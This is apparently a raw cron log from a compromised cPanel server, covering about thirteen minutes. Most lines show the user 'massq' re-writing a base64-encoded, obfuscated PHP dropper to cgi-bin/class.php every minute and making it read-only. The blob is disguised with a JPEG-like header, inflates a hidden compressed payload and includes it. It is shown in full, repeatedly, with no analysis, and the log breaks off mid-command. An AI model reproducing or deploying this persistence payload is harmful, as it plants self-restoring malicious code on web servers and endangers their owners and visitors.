Nov 12 01:41:01 server CROND[14989]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:42:01 server CROND[15801]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 01:42:01 server CROND[15802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:43:01 server CROND[16725]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:44:01 server CROND[17594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:45:01 server CROND[18416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:45:01 server CROND[18417]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:45:01 server CROND[18418]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 01:46:01 server CROND[19294]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:47:01 server CROND[20114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:48:01 server CROND[20942]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:49:01 server CROND[21921]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:50:01 server CROND[22763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 01:50:01 server CROND[22765]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 01:50:01 server CROND[22767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 01:50:01 server CROND[22766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:50:01 server CROND[22768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:51:01 server CROND[23578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:52:01 server CROND[24466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:53:01 server CROND[25293]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:54:01 server CROND[26218]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 